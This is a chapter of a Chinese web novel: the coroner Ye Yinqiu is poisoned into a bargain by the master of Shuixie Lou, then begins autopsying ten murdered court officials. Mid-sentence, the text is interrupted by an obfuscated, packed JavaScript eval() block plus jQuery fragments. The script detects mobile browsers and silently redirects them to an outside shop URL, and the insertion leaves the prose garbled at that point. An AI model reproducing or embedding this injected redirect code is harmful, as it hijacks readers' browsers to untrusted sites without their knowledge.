叶银秋坐在轿子上,水榭楼里竟然周围也没见到其他人,只有她一顶轿子在其中行进。
这位白面书生也是位奇人,表面看着文弱无力,却在手中举着轿子的同时,速度也是惊人般的快。
不过片刻,他们便到了一处竹林。
竹林不大,却也长得很高,目测至少二十米,竹叶遮蔽了阳光,也拦住了暖意,叶银秋打了个寒战,不知为何,她的心脏狂跳,隐隐不安。
叶银秋下了轿,双腿发软地接触到地面。竹林中等候着她的,是位年过五旬的老人,头发半白,身子骨却很健硕,面容黝黑。
这人站在竹林间,周围没有其他人。
不出意外的话,这位应该就是水榭楼的楼主了。
竹林泛黄,叶子下坠,落在她发间,等候着那人说话。
白面书生站至那人身后。
“你既来寻我,想必他已经离世多日。”老人开了口,嗓音低沉年迈,却也有力。
那人低沉叹气,“仵作名帖想必你已经拿到,到时会场,若有需要,报水榭楼名便可。”
他竟然这么快就知晓她拿到了仵作名帖。仵作会场,水榭楼的势力究竟有多大。
“至于你的身世,他离去之时曾留有信件。”
老人话锋一转,“不过,烦请你帮一个忙。”
水榭楼在京城势力庞大,背靠太后,又有何事办不成?
“不过一点小事,”白发老人顿了顿,“若是张承先的案子告破,还请将凶手交给水榭楼处置。”
她凭什么这么做?突然身子发软,半瘫在地。
不好,是毒药!
她何时中的毒,她竟然浑然不觉。
叶银秋喘着气,呼吸乏力,眼前人影模糊,“你……给我下了什么?”
“不过一点半骨软,半个时辰内若没有解药,你便会脱力而亡。”
白发老人不慌不忙地解释道。
“只要你答应此事,我便给你解药。”
眼前人影已看不清,周围渐渐黑下,身上也使不上力,她能清晰的感受到生命在流逝。
等待死亡的过程,竟如此漫长。
“我答应你……”
不知道水榭楼究竟要做什么,现在先应着,至于找到凶手该如何,那就到时候再说。
白面书生这才喂了解药给她。
“这药能压制毒性一个月,想必一个月内,你必能将凶手交给水榭楼。”
叶银秋心中暗恨,就知道没这么简单。
白面书生将信交给她手中。
信纸暗黄,折痕很新,保存极好。
叶银秋展开信纸,心中早已有了答案。
“银秋亲启:
若你拿到此信,想必我已逝去。不必为我寻仇,我命数已定。
你有大好前途,何必四处流浪,回侯府吧,拿回属于你的东西。
仵作之事,多看多学,定不比那些男儿差。
王老头留。”
看来她果真是侯府千金。抬眼望向白发老人,却已经不见。
独留下白面书生和她在原地。
方才那白发老人提到将凶手交给水榭楼,很有可能,他已经知道凶手是谁。
“叶姑娘上轿吧。”
这次不等白面书生将她提至轿中,她自觉坐了上去。
“京城近日多发倌女失踪案,叶姑娘可知?”
倌女失踪案?那日在薰芳楼确实听那宋世子提过一嘴。
他这是在提醒她。
不过片刻,轿子便行了至少五里。
叶银秋下了轿,被白面书生提醒,“外面跟着你的两波人进不了水榭楼。”
“多谢。”跟着她的除了苏明言的人,还有谁?
叶银秋正要进苏府院中,院内却围满了禁军。
这是发生了何事?
幼涟瞧见不远处的叶银秋,立刻拉着她跪下。
苏明言身披墨色裘衣,面色苍白,跪在院中,中间站着的是个太监。
“传陛下口谕,兹近日多有官员暴毙身亡,谣言四起,限大理寺少卿苏明言三日内侦破此案,捉拿真凶,以震民心。”
太监谄媚地扶起苏明言,“苏大人,老奴也是苦求了陛下许久,陛下这才宽限了三日。若是三日后……”太监抹脖的动作暗示,苏府众人皆颤栗。
“苏府可都要为苏大人陪葬,到时就算是太后、安和公主在场,也救不了。”
太监言语暗示,一旁的小厮塞了金子,太监这才开口,“这事还是张大人求到陛下面前,特意将这差事交给了您。”
“陛下还有句话让老奴带给您,”太监附在苏明言耳侧,“苏明言,父母盼子归家,切莫阻拦。”
“多谢李公公指教,苏某铭记在心。”
苏明言眼神中瞧不出喜怒,李公公收了银子,暗自松了口气,带着禁军便离开了。
苏府众人这才如释重负,回到自己的位置上做事,又因悬在头上的圣旨,惶惶不可安宁。
唯有苏明言伫立原地,神色不明,不知在想些什么。
察觉到叶银秋的靠近,苏明言转过身,视线落在叶银秋脸上,“今日小厨房做了新点心。”
他解下身上的裘衣,罩住叶银秋。整个裘衣将她包裹住,不留一点缝隙。
她整个人瞬间暖和不少。
三日内破案,他都不慌的吗?还有心情关心她的冷暖。
苏明言低垂眼眸,神色晦暗不明,眸中情愫压抑,似深秋凛冽的寒风刺骨。
“苏大人,我探案不行,可验尸在行。”
苏明言沉默了片刻,“幼涟,备马车,去大理寺!”
幼涟得了命令,马不停蹄去备马车。
他这是……同意了?
“你可知一共有十具尸体。”
十具!案子须得三日内破,她得在三日内验完十具。就算在现代,她也得依靠仪器才能验完五具。
不,没有三日。
“你若参与此案,只有一日的时间验尸。”
除了查验尸体,还得捉拿真凶,将凶手交给水榭楼。
所有的一切,她都得在三日内完成。在没有现代仪器的帮助下。
“嗯。”叶银秋慎重点头,不管处于什么原因,她必须参与此案。
大理寺停尸间。
整整齐齐依次排放了十具尸体,都用白布盖住。
“这是刘仵作的验尸
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14150437|150309||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
单。”
叶银秋接过苏明言手中厚厚一叠验尸单,仔细翻看。
这里躺着的,全是京城的大官。
叶银秋对比着十具尸体,依次认尸。
从左往右依次是上一任刑部尚书聂风,扬州人士,大晟十年金科状元,死于十日前,追捕凶手途中突遭山崩而亡。
工部尚书刘策岚,荆州人士,大晟十年榜眼,死于八日前,家办喜宴于妓同乐时忽然暴毙。
同为大理寺少卿赵秦志,京城人士,大晟十年探花,死于十五日前,进入薰芳楼,饮酒暴毙。
御史大夫陆兆丰,陵州人士,大晟十一年十五名进士出身,死于十四日前,街角遇杂耍团,意外惹火上身,被烧而死。
太子詹事陈一统,朔州人士,大晟十二年探花,死于十一日前,坠入家中池塘溺亡。
太常少卿李炎波,陵州人士,大晟十一年第四名进士出身,死于八日前,受惊而亡。
长史邓轩祥,京城人士,大晟八年第六名进士出身,死于六日前,受惊而亡。
羽林少将军张昌志,朔州人士,大晟十年武科状元,死于六日前,上吊自缢。
同羽林少将军杜严羽,朔州人士,大晟十年武科榜眼,死于八日前,自穿心脏而亡。
最后一位,竟然就是前不久叶银秋才见过的那位户部尚书张近之,死于昨日,死因……
死因不明。
躺在这里的,都是京城从四品往上的大官,是谁有这能力在短短数日内连杀这十位官员,也难怪皇帝震怒,接连给了刑部尚书和大理寺少卿两道圣旨。
也不知那位刑部尚书是否还活着?
吱吖———
进来的正是那位刑部尚书李莲,原来还活着。
“苏大人,叶仵作!”李莲拱手问好。
今日倒是恭敬万分,叶银秋余光看了眼苏明言,跟他有关吧。
“你的助手!”
谁?叶银秋环顾四周,发现苏明言所指便只有李莲了。
方才路上她问苏明言要了个助手,没想到竟是刑部尚书。
可李莲一个刑部尚书,又怎么会验尸?
“叶仵作,可有何吩咐?”
叶银秋却看向苏明言。
“你判断这是同一凶手所为,是有铁证?”
“不错,他们身上都有一样东西残留,是凶手故意留下的。”
既然苏明言如此肯定,那样东西应该和前几起案子都是一样的东西,是残留的红绳。
凶手杀人的手法可以看出他很谨慎,所以不可能留下这明显的线索,那么只有可能是他故意留下这么大的破绽,戏耍他们。
不过,同时也就意味着,这十具尸体她有办法不出半日就能验尸完毕。
叶银秋穿好罩衣,戴好口罩和手套,拿起短刀,站至第一具尸体前,“李大人,还得麻烦您学着我,一起剖刘大人的尸体。”
叶银秋下手很快,聂风的左胸就被剖开一道三寸长的口子,里面的心脏已然碎裂,其中在灯光照射下,隐隐闪烁。
李莲捏住鼻子,长吸一口气,用力一划,里面的心脏赫然曝漏在众人眼前。
心脏同样碎裂,其间有东西在闪烁。